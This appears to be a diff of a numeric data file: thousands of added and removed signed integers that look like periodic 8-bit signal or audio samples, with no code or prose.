+121 +18 +-66 +-128 +-128 +-74 +54 +127 +125 +17 +-67 +-128 +-128 +-73 +56 +127 +124 +17 +-67 +-128 +-128 +-74 +56 +127 +123 +21 +-69 +-128 +-128 +-75 +54 +127 +122 +17 +-66 +-128 +-128 +-72 +56 +127 +123 +19 +-68 +-128 +-128 +-71 +54 +127 +124 +19 +-68 +-128 +-128 +-72 +56 +127 +122 +18 +-68 +-128 +-128 +-71 +55 +127 +124 +20 +-68 +-128 +-128 +-71 +54 +127 +124 +19 +-68 +-128 +-128 +-73 +56 +127 +124 +19 +-68 +-128 +-128 +-71 +54 +127 +124 +19 +-68 +-128 +-128 +-71 +56 +127 +123 +18 +-68 +-128 +-128 +-71 +53 +127 +121 +18 +-66 +-128 +-128 +-73 +55 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +124 +18 +-69 +-128 +-128 +-72 +56 +127 +122 +20 +-68 +-128 +-128 +-75 +53 +127 +123 +16 +-67 +-128 +-128 +-72 +56 +127 +123 +18 +-69 +-128 +-128 +-72 +54 +127 +123 +18 +-69 +-128 +-128 +-73 +56 +127 +121 +18 +-69 +-128 +-128 +-71 +54 +127 +124 +19 +-69 +-128 +-128 +-73 +57 +127 +122 +20 +-68 +-128 +-128 +-73 +56 +127 +122 +18 +-69 +-128 +-128 +-128 +-69 +59 +127 +127 +127 +73 +-20 +-103 +-128 +-128 +-78 +49 +127 +127 +127 +60 +-34 +-98 +-128 +-128 +-106 +40 +127 +127 +127 +56 +-41 +-100 +-128 +-128 +-112 +33 +127 +127 +127 +49 +-44 +-105 +-128 +-128 +-99 +31 +127 +127 +127 +46 +-46 +-107 +-128 +-128 +-100 +29 +127 +127 +127 +45 +-46 +-108 +-128 +-128 +-101 +24 +127 +127 +127 +42 +-50 +-109 +-128 +-128 +-101 +25 +127 +127 +127 +44 +-48 +-110 +-128 +-128 +-103 +27 +127 +127 +127 +43 +-49 +-110 +-128 +-128 +-104 +24 +127 +127 +127 +44 +-47 +-112 +-128 +-128 +-102 +22 +127 +127 +127 +41 +-50 +-107 +-128 +-128 +-105 +24 +127 +127 +127 +42 +-49 +-109 +-128 +-128 +-102 +23 +127 +127 +127 +42 +-47 +-109 +-128 +-109 +16 +110 +84 +-15 +-98 +-128 +-128 +-101 +29 +125 +102 +-1 +-70 +-128 +-128 +-88 +40 +127 +109 +6 +-79 +-128 +-128 +-82 +44 +127 +115 +11 +-75 +-128 +-128 +-79 +50 +127 +117 +13 +-73 +-128 +-128 +-76 +50 +127 +120 +16 +-71 +-128 +-128 +-77 +52 +127 +121 +17 +-70 +-128 +-128 +-75 +54 +127 +123 +18 +-70 +-128 +-128 +-75 +54 +127 +122 +18 +-70 +-128 +-128 +-73 +54 +127 +122 +17 +-70 +-128 +-128 +-73 +55 +127 +122 +18 +-69 +-128 +-128 +-71 +54 +127 +122 +17 +-70 +-128 +-128 +-74 +55 +127 +122 +19 +-68 +-128 +-128 +-71 +55 +127 +123 +18 +-69 +-128 +-128 +-71 +54 +127 +124 +18 +-68 +-128 +-128 +-71 +54 +127 +124 +18 +-68 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-71 +53 +127 +122 +19 +-67 +-128 +-128 +-72 +56 +127 +122 +18 +-69 +-128 +-128 +-72 +53 +127 +122 +20 +-66 +-128 +-128 +-74 +52 +127 +123 +16 +-70 +-128 +-128 +-75 +55 +127 +121 +17 +-66 +-128 +-128 +-74 +53 +127 +122 +17 +-70 +-128 +-128 +-76 +52 +127 +122 +16 +-67 +-128 +-128 +-73 +54 +127 +123 +18 +-69 +-128 +-128 +-71 +55 +127 +124 +18 +-68 +-128 +-128 +-71 +54 +127 +124 +19 +-69 +-128 +-128 +-75 +53 +127 +119 +16 +-70 +-128 +-128 +-76 +52 +127 +123 +16 +-67 +-128 +-128 +-72 +56 +127 +124 +19 +-68 +-128 +-128 +-72 +56 +127 +122 +18 +-69 +-128 +-128 +-71 +56 +127 +124 +19 +-68 +-128 +-128 +-71 +54 +127 +124 +18 +-69 +-128 +-128 +-74 +52 +127 +122 +17 +-70 +-128 +-128 +-75 +54 +127 +121 +16 +-66 +-128 +-128 +-72 +54 +127 +124 +19 +-68 +-128 +-128 +-71 +55 +127 +124 +19 +-68 +-128 +-128 +-71 +54 +127 +123 +18 +-69 +-128 +-128 +-71 +55 +127 +124 +19 +-68 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-128 +-67 +61 +127 +127 +127 +76 +-20 +-102 +-128 +-128 +-77 +47 +127 +127 +127 +61 +-34 +-97 +-128 +-128 +-107 +36 +127 +127 +127 +51 +-40 +-100 +-128 +-128 +-97 +29 +127 +127 +127 +49 +-43 +-105 +-128 +-128 +-100 +31 +127 +127 +127 +45 +-47 +-108 +-128 +-128 +-99 +28 +127 +127 +127 +45 +-47 +-108 +-128 +-128 +-101 +27 +127 +112 +10 +-77 +-128 +-128 +-70 +42 +127 +104 +4 +-82 +-128 +-128 +-70 +40 +127 +112 +9 +-78 +-128 +-128 +-81 +48 +127 +114 +14 +-71 +-128 +-128 +-78 +50 +127 +117 +15 +-72 +-128 +-128 +-75 +51 +127 +120 +15 +-70 +-128 +-128 +-73 +52 +127 +120 +16 +-71 +-128 +-128 +-73 +54 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +123 +18 +-69 +-128 +-128 +-72 +54 +127 +122 +18 +-70 +-128 +-128 +-74 +55 +127 +124 +17 +-70 +-128 +-128 +-72 +55 +127 +123 +18 +-69 +-128 +-128 +-72 +54 +127 +121 +19 +-68 +-128 +-128 +-72 +53 +127 +121 +19 +-67 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-71 +53 +127 +120 +17 +-68 +-128 +-128 +-75 +53 +127 +121 +17 +-67 +-128 +-128 +-74 +51 +127 +124 +17 +-69 +-128 +-128 +-73 +55 +127 +122 +18 +-70 +-128 +-128 +-73 +55 +127 +123 +21 +-70 +-128 +-128 +-72 +52 +127 +120 +16 +-70 +-128 +-128 +-76 +51 +127 +123 +16 +-67 +-128 +-128 +-72 +55 +127 +122 +19 +-68 +-128 +-128 +-72 +53 +127 +120 +19 +-68 +-128 +-128 +-72 +54 +127 +122 +18 +-68 +-128 +-128 +-71 +53 +127 +121 +20 +-67 +-128 +-128 +-73 +52 +127 +123 +17 +-70 +-128 +-128 +-75 +54 +127 +121 +18 +-66 +-128 +-128 +-74 +53 +127 +119 +16 +-70 +-128 +-128 +-74 +52 +127 +124 +17 +-66 +-128 +-128 +-72 +56 +127 +124 +19 +-68 +-128 +-128 +-71 +54 +127 +124 +19 +-68 +-128 +-128 +-71 +54 +127 +123 +19 +-68 +-128 +-128 +-71 +55 +127 +122 +18 +-69 +-128 +-128 +-73 +56 +127 +122 +21 +-70 +-128 +-128 +-73 +56 +127 +123 +19 +-68 +-128 +-128 +-72 +54 +127 +123 +18 +-70 +-128 +-128 +-71 +55 +127 +123 +19 +-68 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-74 +56 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +123 +19 +-69 +-128 +-128 +-72 +56 +127 +122 +18 +-66 +-128 +-128 +-72 +54 +127 +123 +18 +-69 +-128 +-128 +-71 +55 +127 +124 +20 +-68 +-128 +-128 +-73 +56 +127 +121 +18 +-68 +-128 +-128 +-71 +53 +127 +121 +20 +-67 +-128 +-128 +-75 +52 +127 +122 +17 +-67 +-128 +-128 +-72 +55 +127 +123 +19 +-68 +-128 +-128 +-72 +54 +127 +124 +18 +-69 +-128 +-128 +-72 +55 +127 +123 +19 +-68 +-128 +-128 +-71 +56 +127 +123 +19 +-68 +-128 +-128 +-73 +55 +127 +124 +17 +-67 +-128 +-128 +-75 +51 +127 +124 +16 +-68 +-128 +-128 +-72 +55 +127 +123 +19 +-68 +-128 +-128 +-71 +55 +127 +122 +18 +-69 +-128 +-128 +-74 +54 +127 +123 +18 +-68 +-128 +-128 +-71 +54 +127 +127 +127 +48 +-43 +-104 +-128 +-128 +-101 +40 +127 +127 +127 +58 +-34 +-98 +-128 +-128 +-106 +34 +127 +127 +127 +48 +-44 +-103 +-128 +-128 +-112 +31 +127 +127 +127 +48 +-44 +-106 +-128 +-128 +-98 +27 +127 +127 +127 +45 +-47 +-108 +-128 +-128 +-100 +26 +127 +127 +127 +46 +-47 +-109 +-128 +-128 +-102 +27 +127 +127 +127 +44 +-47 +-109 +-128 +-108 +17 +110 +82 +-17 +-98 +-128 +-128 +-100 +28 +126 +100 +-1 +-70 +-128 +-128 +-88 +39 +127 +109 +7 +-79 +-128 +-128 +-82 +45 +127 +115 +11 +-76 +-128 +-128 +-81 +45 +127 +117 +12 +-75 +-128 +-128 +-80 +52 +127 +117 +14 +-69 +-128 +-128 +-75 +53 +127 +120 +16 +-71 +-128 +-128 +-73 +52 +127 +118 +15 +-72 +-128 +-128 +-128 +-71 +63 +127 +127 +127 +72 +-22 +-100 +-128 +-128 +-80 +48 +127 +127 +127 +60 +-34 +-98 +-128 +-128 +-106 +37 +127 +127 +127 +52 +-41 +-102 +-128 +-128 +-110 +30 +127 +127 +127 +46 +-45 +-103 +-128 +-128 +-101 +25 +127 +127 +127 +45 +-44 +-109 +-128 +-128 +-100 +28 +127 +127 +127 +44 +-46 +-108 +-128 +-106 +16 +112 +82 +-17 +-97 +-128 +-128 +-100 +26 +126 +101 +-1 +-70 +-128 +-128 +-89 +39 +127 +110 +7 +-79 +-128 +-128 +-82 +47 +127 +114 +11 +-75 +-128 +-128 +-80 +46 +127 +116 +13 +-75 +-128 +-128 +-79 +48 +127 +121 +13 +-72 +-128 +-128 +-76 +54 +127 +122 +15 +-69 +-128 +-128 +-73 +53 +127 +121 +16 +-70 +-128 +-128 +-74 +55 +127 +122 +17 +-70 +-128 +-128 +-75 +53 +127 +123 +16 +-68 +-128 +-128 +-71 +55 +127 +123 +18 +-69 +-128 +-128 +-71 +52 +127 118 15 -71 --119 --119 +-128 +-128 -74 -53 -136 +55 +127 124 -20 --67 --119 --119 --71 -59 -136 -126 -24 --65 --119 --119 +19 -68 -61 -136 -130 -25 --62 --119 --119 --66 -61 -136 -131 -26 --61 --119 --119 +-128 +-128 +-71 +55 +127 +122 +18 +-69 +-128 +-128 +-71 +55 +127 +124 +19 +-68 +-128 +-128 +-72 +56 +127 +124 +19 +-68 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-71 +55 +127 +124 +19 +-69 +-128 +-128 +-73 +56 +127 +122 +20 +-68 +-128 +-128 +-72 +54 +127 +122 +17 +-68 +-128 +-128 +-71 +53 +127 +123 +21 +-70 +-128 +-128 +-71 +53 +127 +120 +17 +-71 +-128 +-128 +-75 +52 +127 +124 +16 +-69 +-128 +-128 +-72 +54 +127 +124 +19 +-69 +-128 +-128 +-74 +56 +127 +123 +18 +-69 +-128 +-128 +-71 +53 +127 +120 +16 +-70 +-128 +-128 +-75 +54 +127 +122 +16 +-67 +-128 +-128 +-72 +56 +127 +123 +18 +-68 +-128 +-128 +-71 +56 +127 +124 +19 +-68 +-128 +-128 +-70 +54 +127 +123 +18 +-69 +-128 +-128 +-71 +56 +127 +123 +19 +-68 +-128 +-128 +-71 +54 +127 +123 +18 +-68 +-128 +-128 +-71 +55 +127 +122 +17 +-69 +-128 +-128 +-72 +54 +127 +123 +18 +-68 +-128 +-128 +-72 +56 +127 +122 +18 +-68 +-128 +-128 +-71 +54 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +124 +19 +-68 +-128 +-128 +-71 +54 +127 +124 +18 +-68 +-128 +-128 +-71 +55 +127 +123 +18 +-69 +-128 +-128 +-72 +56 +127 +123 +18 +-68 +-128 +-128 +-128 -67 60 -136 -130 -25 --62 --119 --119 --119 --59 -70 -136 -136 -136 -83 --13 --94 --119 --119 --71 -58 -136 -136 -136 -69 --25 --88 --119 --119 --96 -46 -136 -136 -136 -61 --32 --93 --119 --119 +127 +127 +127 +75 +-21 -102 +-128 +-128 +-78 +48 +127 +127 +127 +62 +-33 +-97 +-128 +-128 +-105 39 -136 -136 -136 +127 +127 +127 +53 +-40 +-102 +-128 +-128 +-110 +31 +127 +127 +127 +48 +-45 +-106 +-128 +-128 +-97 +29 +127 +127 +127 +46 +-47 +-107 +-128 +-128 +-98 +27 +127 +127 +127 +44 +-48 +-109 +-128 +-128 +-102 +27 +127 +127 +127 +42 +-46 +-108 +-128 +-128 +-102 +25 +127 +127 +127 +43 +-48 +-111 +-128 +-128 +-102 +25 +127 +127 +127 +44 +-48 +-109 +-128 +-128 +-102 +25 +127 +127 +127 +44 +-48 +-110 +-128 +-128 +-102 +24 +127 +127 +127 +45 +-50 +-109 +-128 +-128 +-101 +25 +127 +127 +127 +43 +-49 +-110 +-128 +-128 +-104 +26 +127 +127 +127 +41 +-50 +-108 +-128 +-111 +12 +112 +84 +-19 +-98 +-128 +-128 +-101 +29 +125 +99 +-2 +-69 +-128 +-128 +-88 +38 +127 +110 +7 +-79 +-128 +-128 +-83 +43 +127 +115 +10 +-75 +-128 +-128 +-78 +49 +127 +117 +13 +-73 +-128 +-128 +-77 +52 +127 +118 +15 +-71 +-128 +-128 +-74 +50 +127 +117 +14 +-72 +-128 +-128 +-77 +50 +127 +122 +15 +-69 +-128 +-128 +-73 55 --37 --95 --119 --119 +127 +124 +18 +-69 +-128 +-128 +-74 +53 +127 +119 +16 +-71 +-128 +-128 +-75 +52 +127 +124 +16 +-68 +-128 +-128 +-72 +55 +127 +123 +18 +-69 +-128 +-128 +-70 +54 +127 +122 +18 +-69 +-128 +-128 +-72 +55 +127 +123 +18 +-69 +-128 +-128 +-72 +54 +127 +124 +19 +-67 +-128 +-128 +-72 +54 +127 +124 +17 +-69 +-128 +-128 +-71 +55 +127 +123 +18 +-69 +-128 +-128 +-71 +55 +127 +123 +18 +-68 +-128 +-128 +-71 +54 +127 +124 +17 +-68 +-128 +-128 +-71 +54 +127 +123 +18 +-68 +-128 +-128 +-71 +53 +127 +124 +19 +-69 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +124 +19 +-68 +-128 +-128 +-72 +54 +127 +124 +19 +-68 +-128 +-128 +-71 +55 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +124 +17 +-67 +-128 +-128 +-75 +51 +127 +124 +16 +-68 +-128 +-128 +-72 +56 +127 +123 +18 +-68 +-128 +-128 +-71 +55 +127 +124 +20 +-68 +-128 +-128 +-72 +56 +127 +122 +18 +-68 +-128 +-128 +-71 +54 +127 +122 +20 +-68 +-128 +-128 +-72 +56 +127 +124 +19 +-68 +-128 +-128 +-71 +55 +127 +123 +19 +-69 +-128 +-128 +-71 +55 +127 +124 +19 +-68 +-128 +-128 +-72 +54 +127 +124 +17 +-69 +-128 +-128 +-71 +55 +127 +124 +19 +-68 +-128 +-128 +-71 +54 +127 +123 +17 +-69 +-128 +-128 +-71 +55 +127 +123 +18 +-69 +-128 +-128 +-72 +56 +127 +124 +21 +-70 +-128 +-128 +-72 +56 +127 +124 +18 +-70 +-128 +-128 +-72 +54 +127 +123 +18 +-69 +-128 +-128 +-72 +56 +127 +121 +19 +-66 +-128 +-128 +-72 +56 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +123 +19 +-68 +-128 +-128 +-72 +56 +127 +124 +16 +-67 +-128 +-128 +-71 +54 +127 +124 +18 +-69 +-128 +-128 +-72 +55 +127 +123 +18 +-69 +-128 +-128 +-72 +57 +127 +124 +19 +-68 +-128 +-128 +-128 +-68 +63 +127 +127 +127 +76 +-21 +-102 +-128 +-128 +-78 +48 +127 +127 +127 +60 +-35 +-98 +-128 +-128 +-105 +38 +127 +127 +127 +52 +-40 +-101 +-128 +-128 +-110 +30 +127 +127 +127 +47 +-46 +-104 +-128 +-128 +-98 +30 +127 +127 +127 +46 +-46 +-108 +-128 +-128 +-99 +28 +127 +127 +127 +44 +-48 +-108 +-128 +-128 +-100 +25 +127 +127 +127 +43 +-47 +-108 +-128 +-128 +-102 +26 +127 +127 +127 +43 +-49 +-108 +-128 +-128 +-101 +23 +127 +127 +127 +40 +-51 +-109 +-128 +-128 +-103 +24 +127 +127 +127 +44 +-49 +-110 +-128 +-128 +-102 +25 +127 +127 +127 +43 +-50 +-111 +-128 +-128 +-102 +25 +127 +127 +127 +43 +-50 +-110 +-128 +-128 +-102 +24 +127 +127 +127 +42 +-49 +-110 +-128 +-128 +-102 +25 +127 +127 +127 +44 +-48 +-109 +-128 +-128 +-103 +25 +127 +127 +127 +42 +-50 +-110 +-128 +-128 +-103 +26 +127 +127 +127 +42 +-50 +-109 +-128 +-128 +-102 +22 +127 +127 +127 +41 +-50 +-108 +-128 +-128 +-104 +25 +127 +127 +127 +42 +-50 +-110 +-128 +-128 +-102 +24 +127 +127 +127 +43 +-49 +-110 +-128 +-109 +16 +108 +84 +-18 +-97 +-128 +-128 +-101 +28 +125 +99 +-2 +-70 +-128 +-128 -90 39 -136 -136 -136 -55 --38 --99 --119 --119 --91 -36 -136 -136 -136 -54 --39 --99 --119 --97 -27 -120 -93 --5 --71 --119 --119 --92 -38 -135 -109 +127 +107 +7 +-79 +-128 +-128 +-86 +42 +127 +115 8 --60 --119 --119 +-74 +-128 +-128 +-79 +49 +127 +118 +14 +-73 +-128 +-128 +-77 +52 +127 +121 +14 +-69 +-128 +-128 +-75 +54 +127 +122 +15 +-69 +-128 +-128 +-76 +50 +127 +123 +15 +-69 +-128 +-128 +-73 +55 +127 +122 +18 +-69 +-128 +-128 +-73 +55 +127 +122 +18 +-69 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-72 +55 +127 +123 +18 +-68 +-128 +-128 +-73 +56 +127 +125 +17 +-66 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-74 +56 +127 +122 +18 +-68 +-128 +-128 +-71 +55 +127 +123 +18 +-68 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-72 +55 +127 +124 +19 +-69 +-128 +-128 +-71 +54 +127 +122 +18 +-67 +-128 +-128 +-71 +54 +127 +124 +20 +-68 +-128 +-128 +-72 +56 +127 +123 +19 +-68 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-74 +56 +127 +122 +18 +-68 +-128 +-128 +-71 +55 +127 +123 +18 +-69 +-128 +-128 +-73 +57 +127 +123 +19 +-68 +-128 +-128 +-72 +56 +127 +123 +18 +-68 +-128 +-128 +-73 +56 +127 +124 +17 +-67 +-128 +-128 +-72 +56 +127 +124 +19 +-68 +-128 +-128 +-73 +57 +127 +125 +17 +-66 +-128 +-128 +-74 +52 +127 +123 +17 +-70 +-128 +-128 +-75 +55 +127 +120 +18 +-66 +-128 +-128 +-74 +52 +127 +124 +16 +-68 +-128 +-128 +-128 +-70 +60 +127 +127 +127 +75 +-19 +-103 +-128 +-128 +-77 +48 +127 +127 +127 +60 +-34 +-98 +-128 +-128 +-105 +37 +127 +127 +127 +54 +-41 +-103 +-128 +-128 +-110 +33 +127 +127 +127 +48 +-44 +-105 +-128 +-128 +-98 +29 +127 +127 +127 +46 +-45 +-107 +-128 +-128 +-99 +25 +127 +127 +127 +43 +-48 +-106 +-128 +-128 +-103 +28 +127 +114 +10 +-75 +-128 +-128 +-70 +41 +127 +104 +3 +-82 +-128 +-128 +-70 +40 +127 +108 +7 +-76 +-128 +-128 +-80 +46 +127 +115 +12 +-74 +-128 +-128 +-77 +49 +127 +118 +15 +-72 +-128 +-128 +-76 +51 +127 +120 +16 +-71 +-128 +-128 +-74 +50 +127 +116 +14 +-72 +-128 +-128 +-76 +53 +127 +120 +16 +-67 +-128 +-128 +-75 +54 +127 +123 +16 +-68 +-128 +-128 +-75 +50 +127 +123 +16 +-69 +-128 +-128 +-73 +54 +127 +121 +17 +-68 +-128 +-128 +-71 +53 +127 +124 +19 +-68 +-128 +-128 +-72 +54 +127 +124 +19 +-68 +-128 +-128 +-72 +54 +127 +124 +20 +-68 +-128 +-128 +-72 +56 +127 +123 +20 +-68 +-128 +-128 +-72 +56 +127 +124 +19 +-69 +-128 +-128 +-73 +54 +127 +123 +21 +-70 +-128 +-128 +-74 +54 +127 +124 +19 +-68 +-128 +-128 +-72 +55 +127 +123 +19 +-68 +-128 +-128 +-72 +54 +127 +123 +18 +-69 +-128 +-128 +-72 +55 +127 +123 +19 +-68 +-128 +-128 +-72 +54 +127 +121 +20 +-68 +-128 +-128 +-72 +56 +127 +122 +20 +-67 +-128 +-128 +-71 +53 +127 +124 +21 +-70 +-128 +-128 +-73 +55 +127 +122 +18 +-69 +-128 +-128 +-73 +56 +127 +122 +21 +-67 +-128 +-128 +-75 +52 +127 +123 +17 +-67 +-128 +-128 +-72 +55 +127 +123 +19 +-68 +-128 +-128 +-72 +54 +127 +120 +18 +-68 +-128 +-128 +-72 +54 +127 +124 +19 +-69 +-128 +-128 +-73 +56 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +122 +18 +-69 +-128 +-128 +-73 +56 +127 +122 +18 +-69 +-128 +-128 +-71 +55 +127 +123 +19 +-68 +-128 +-128 +-72 +54 +127 +122 +19 +-68 +-128 +-128 +-72 +54 +127 +123 +18 +-69 +-128 +-128 +-72 +55 +127 +122 +21 +-68 +-128 +-128 +-75 +54 +127 +122 +17 +-66 +-128 +-128 +-74 +54 +127 +121 +18 +-67 +-128 +-128 +-72 +54 +127 +124 +18 +-69 +-128 +-128 +-72 +54 +127 +123 +19 +-68 +-128 +-128 +-72 +55 +127 +123 +19 +-68 +-128 +-128 +-73 +56 +127 +124 +19 +-69 +-128 +-128 +-73 +56 +127 +122 +21 +-68 +-128 +-128 +-74 +54 +127 +122 +17 +-69 +-128 +-128 +-71 +55 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +123 +19 +-69 +-128 +-128 +-73 +56 +127 +124 +17 +-68 +-128 +-128 +-73 +57 +127 +124 +20 +-69 +-128 +-128 +-72 +55 +127 +123 +19 +-68 +-128 +-128 +-71 +55 +127 +124 +19 +-68 +-128 +-128 +-70 +55 +127 +123 +19 +-69 +-128 +-128 +-72 +56 +127 +124 +19 +-68 +-128 +-128 +-74 +52 +127 +121 +17 +-71 +-128 +-128 +-75 +54 +127 +121 +17 +-66 +-128 +-128 +-74 +54 +127 +122 +17 +-68 +-128 +-128 +-71 +53 +127 +127 +127 +50 +-43 +-105 +-128 +-128 +-102 +40 +127 +127 +127 +58 +-36 +-112 +-128 +-128 +-107 +36 +127 +127 +127 +51 +-42 +-104 +-128 +-128 +-97 +32 +127 +127 +127 +51 +-45 +-105 +-128 +-128 +-98 +29 +127 +127 +127 +46 +-47 +-107 +-128 +-128 +-101 +28 +127 +127 +127 +44 +-48 +-109 +-128 +-128 +-102 +25 +127 +127 +127 +42 +-46 +-109 +-128 +-107 +14 +107 +79 +-19 +-100 +-128 +-128 +-104 +24 +127 +101 +-3 +-69 +-128 +-128 +-89 +40 +127 +110 +6 +-80 +-128 +-128 +-83 +44 +127 +114 +11 +-75 +-128 +-128 +-79 +50 +127 +116 +12 +-73 +-128 +-128 +-75 +51 +127 +118 +14 +-72 +-128 +-128 +-76 +54 +127 +121 +17 +-70 +-128 +-128 +-72 +54 +127 +122 +17 +-69 +-128 +-128 +-72 +54 +127 +123 +18 +-69 +-128 +-128 +-73 +54 +127 +123 +18 +-68 +-128 +-128 +-72 +54 +127 +121 +17 +-70 +-128 +-128 +-72 +54 +127 +124 +18 +-69 +-128 +-128 +-71 +55 +127 +123 +18 +-69 +-128 +-128 +-73 +56 +127 +124 +20 +-69 +-128 +-128 +-72 +55 +127 +123 +18 +-69 +-128 +-128 +-74 +54 +127 +120 +16 +-68 +-128 +-128 +-128 +-69 +61 +127 +127 +127 +73 +-22 +-100 +-128 +-128 +-78 +49 +127 +127 +127 +60 +-34 +-97 +-128 +-128 +-104 +38 +127 +127 +127 +53 +-41 +-103 +-128 +-128 +-111 +33 +127 +127 +127 +48 +-44 +-106 +-128 +-128 +-99 +31 +127 +127 +127 +46 +-46 +-108 +-128 +-128 +-101 +29 +127 +127 +127 +44 +-47 +-108 +-128 +-128 +-100 +27 +127 +113 +11 +-76 +-128 +-128 +-68 +39 +127 +105 +2 +-82 +-128 +-128 +-70 +41 +127 +110 +8 +-78 +-128 +-128 +-80 +47 +127 +115 +12 +-74 +-128 +-128 +-78 +48 +127 +118 +15 +-72 +-128 +-128 +-75 +52 +127 +118 +15 +-71 +-128 +-128 +-74 +52 +127 +121 +17 +-70 +-128 +-128 +-73 +54 +127 +121 +17 +-70 +-128 +-128 +-75 +54 +127 +122 +17 +-69 +-128 +-128 +-72 +53 +127 +123 +17 +-68 +-128 +-128 +-72 +54 +127 +122 +17 +-70 +-128 +-128 +-74 +54 +127 +122 +20 +-68 +-128 +-128 +-71 +53 +127 +122 +18 +-68 +-128 +-128 +-71 +53 +127 +124 +19 +-69 +-128 +-128 +-73 +55 +127 +123 +21 +-70 +-128 +-128 +-72 +54 +127 +122 +18 +-69 +-128 +-128 +-74 +53 +127 +118 +16 +-71 +-128 +-128 +-75 +51 +127 +123 +16 +-68 +-128 +-128 +-73 +56 +127 +121 +19 +-69 +-128 +-128 +-72 +54 +127 +122 +18 +-69 +-128 +-128 +-71 +55 +127 +123 +18 +-69 +-128 +-128 +-74 +55 +127 +122 +18 +-68 +-128 +-128 +-71 +54 +127 +124 +20 +-68 +-128 +-128 +-72 +56 +127 +122 +20 +-68 +-128 +-128 +-72 +54 +127 +123 +20 +-68 +-128 +-128 +-74 +51 +127 +124 +16 +-69 +-128 +-128 +-71 +52 +127 +120 +17 +-71 +-128 +-128 +-75 +52 +127 +123 +17 +-67 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-73 +55 +127 +121 +20 +-67 +-128 +-128 +-75 +51 +127 +124 +16 +-69 +-128 +-128 +-73 +55 +127 +123 +20 +-67 +-128 +-128 +-72 +55 +127 +127 +127 +49 +-44 +-105 +-128 +-128 +-103 +43 +127 +127 +127 +59 +-35 +-98 +-128 +-128 +-107 +37 +127 +127 +127 +50 +-42 +-104 +-128 +-128 +-112 +31 +127 +127 +127 +48 +-45 +-106 +-128 +-128 +-98 +27 +127 +127 +127 +46 +-46 +-108 +-128 +-128 +-100 +28 +127 +127 +127 +45 +-48 +-109 +-128 +-128 +-101 +24 +127 +127 +127 +42 +-50 +-107 +-128 +-110 +13 +114 +85 +-18 +-97 +-128 +-128 +-102 +28 +125 +99 +0 +-69 +-128 +-128 +-89 +40 +127 +107 +6 +-78 +-128 +-128 +-82 +43 +127 +110 +8 +-77 +-128 +-128 +-82 +49 +127 +115 +12 +-71 +-128 +-128 +-76 +52 +127 +119 +16 +-71 +-128 +-128 +-74 +53 +127 +123 +18 +-68 +-128 +-128 +-73 +54 +127 +121 +17 +-70 +-128 +-128 +-128 +-68 +63 +127 +127 +127 +74 +-22 +-103 +-128 +-128 +-78 +48 +127 +127 +127 +59 +-34 +-97 +-128 +-128 +-104 +37 +127 +127 +127 +53 +-40 +-102 +-128 +-128 +-110 +32 +127 +127 +127 +49 +-44 +-105 +-128 +-128 +-97 +28 +127 +127 +127 +46 +-46 +-107 +-128 +-128 +-99 +28 +127 +127 +127 +44 +-48 +-109 +-128 +-106 +17 +112 +84 +-15 +-98 +-128 +-128 +-100 +28 +125 +100 +-2 +-70 +-128 +-128 +-90 +40 +127 +109 +7 +-79 +-128 +-128 +-82 +45 +127 +114 +11 +-76 +-128 +-128 +-79 +50 +127 +116 +15 +-71 +-128 +-128 +-79 +50 +127 +118 +13 +-69 +-128 +-128 +-75 +53 +127 +120 +16 +-71 +-128 +-128 +-73 +54 +127 +121 +17 +-70 +-128 +-128 +-72 +54 +127 +122 +18 +-69 +-128 +-128 +-76 +51 +127 +123 +16 +-71 +-128 +-128 +-76 +54 +127 +121 +16 +-67 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-73 +55 +127 +123 +18 +-69 +-128 +-128 +-71 +54 +127 +124 +19 +-69 +-128 +-128 +-74 +52 +127 +124 +17 +-70 +-128 +-128 +-75 +51 +127 +124 +16 +-68 +-128 +-128 +-72 +55 +127 +123 +18 +-69 +-128 +-128 +-74 +55 +127 +124 +17 +-68 +-128 +-128 +-71 +54 +127 +122 +18 +-68 +-128 +-128 +-71 +53 +127 +122 +18 +-68 +-128 +-128 +-71 +53 +127 +124 +18 +-69 +-128 +-128 +-72 +55 +127 +124 +19 +-68 +-128 +-128 +-72 +55 +127 +123 +19 +-68 +-128 +-128 +-72 +54 +127 +123 +18 +-69 +-128 +-128 +-73 +57 +127 +122 +20 +-70 +-128 +-128 +-72 +55 +127 +124 +19 +-68 +-128 +-128 +-71 +53 +127 +120 +16 +-71 +-128 +-128 +-74 +57 +127 +122 +19 +-68 +-128 +-128 +-71 +53 +127 +119 +15 +-71 +-128 +-128 +-74 +55 +127 +122 +20 +-70 +-128 +-128 +-75 +51 +127 +124 +16 +-68 +-128 +-128 +-71 +56 +127 +124 +19 +-68 +-128 +-128 +-74 +53 +127 +122 +18 +-70 +-128 +-128 +-74 +53 +127 +119 +16 +-71 +-128 +-128 +-73 +54 +127 +122 +18 +-68 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-71 +55 +127 +123 +18 +-68 +-128 +-128 +-71 +54 +127 +124 +18 +-69 +-128 +-128 +-71 +55 +127 +123 +19 +-68 +-128 +-128 +-72 +54 +127 +123 +17 +-69 +-128 +-128 +-128 +-66 +59 +127 +127 +127 +74 +-24 +-101 +-128 +-128 +-77 +46 +127 +127 +127 +58 +-33 +-98 +-128 +-128 +-105 +38 +127 +127 +127 +50 +-42 +-101 +-128 +-128 +-112 +31 +127 +127 +127 +48 